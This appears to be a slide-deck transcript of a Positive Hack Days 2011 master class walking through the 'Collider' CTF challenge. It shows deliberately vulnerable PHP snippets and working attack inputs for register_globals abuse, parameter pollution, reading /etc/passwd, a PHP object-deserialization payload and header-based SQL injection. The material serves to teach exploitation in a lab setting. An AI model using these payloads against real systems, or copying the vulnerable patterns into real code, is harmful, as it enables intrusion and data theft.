Юрий Гольцев - Сервис collider

13
Collider! challenge (мастер-класс)

Upload: positive-hack-days

Post on 27-Jul-2015

2.189 views

Category:

Technology


6 download

TRANSCRIPT

Page 1: Юрий Гольцев - Сервис Collider

Collider! challenge

(мастер-класс)

Page 2: Юрий Гольцев - Сервис Collider

Сервис Collider

Сервис хак-квеста PHD’11 - Collider.

Как проходить?

•crypt.php + (Ctrl+F “FLAGHERE”)

Краткое содержание ситкома:

•Register Globals

•HTTP Parameter Pollution

• Local File Disclosure

•Сериализация

•SQL Injection

Page 3: Юрий Гольцев - Сервис Collider

Register Globals (#1)

Конфигурационный файл php.ini

register_globals = On

Изменение типа переменных скрипта

Предположения?

…$u1['OTP']='OTP_'.$f3;/*…*/ if(is_array($n3)){foreach($n3 as $s1=>$l2){$x0[$s1]=$l2;}}if(isset($_REQUEST['pswd'])){$j3=trim($_REQUEST['pswd']);if($j3==$u1['OTP']){print"FLAGHERE";}else{print"<script>alert('Failed')</script>";}}Function….

Page 4: Юрий Гольцев - Сервис Collider

Register Globals (#1)

http://localhost/cld/crypt.php?u1=O&pswd=O

if($j3==$u1['OTP']){print"FLAGHERE";}

Page 5: Юрий Гольцев - Сервис Collider

HTTP Parameter Pollution (#2)

Ищем “FLAGHERE” – видим mysql_count()

Предложения?

http://raz0r.name/articles/http-parameter-pollution/

function collider_debug(){if(!is_numeric($_REQUEST['debug'])&&is_numeric($_REQUEST['phpver']))

….

if(is_numeric($_GET['debug'])&&isset($_GET['phpver'])){if($_GET['phpver']===phpversion())

….

print mysql_count("collider","debug");

Page 6: Юрий Гольцев - Сервис Collider

HTTP Parameter Pollution (#2)

Page 7: Юрий Гольцев - Сервис Collider

Local File Disclosure (#3)

Ищем “FLAGHERE” – больше не работает

Предложения?

function folowe($z1){$z1=str_replace(".","",$z1);if(file_exists($z1)){readfile($z1);}}

if(get_plain()){if(isset($_GET['op'])&&!empty($_GET['op'])){$w1=htmlspecialchars($_GET['op']);folowe($w1);

function get_plain(){if((isset($_REQUEST['permission']))&&($_REQUEST['permission']==$y1)){return 1;}

Page 8: Юрий Гольцев - Сервис Collider

Local File Disclosure (#3)

http://localhost/cld/?permission=&op=/etc/passwd

Page 9: Юрий Гольцев - Сервис Collider

Serialialise (#4)

$sessid = unserialize($_COOKIE['guest']);

Предложения?

https://rdot.org/forum/showthread.php?t=950 by BlackFan

class Collider_LO { … function __destruct() …$var = $this->shutdown[0];

$arg = $this->shutdown[1];

$var($arg);...

Page 10: Юрий Гольцев - Сервис Collider

Serialialise (#4)

O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2:

{i:0;s:7:"phpinfo";i:1;i:-1;}}

Page 11: Юрий Гольцев - Сервис Collider

SQL Injection (#5)

SQL injection? Опять?

Предложения?

… $_REQUEST['notbanned']) {        $phd = $_SERVER['HTTP_PHD'];   …        $result=mysql_query("select id,phd,id as i,phd as p from status where id =$phd") …

Page 12: Юрий Гольцев - Сервис Collider

SQL Injection (#5)

Page 13: Юрий Гольцев - Сервис Collider

Спасибо за внимание!

Вопросы?

[email protected]@ygoltsev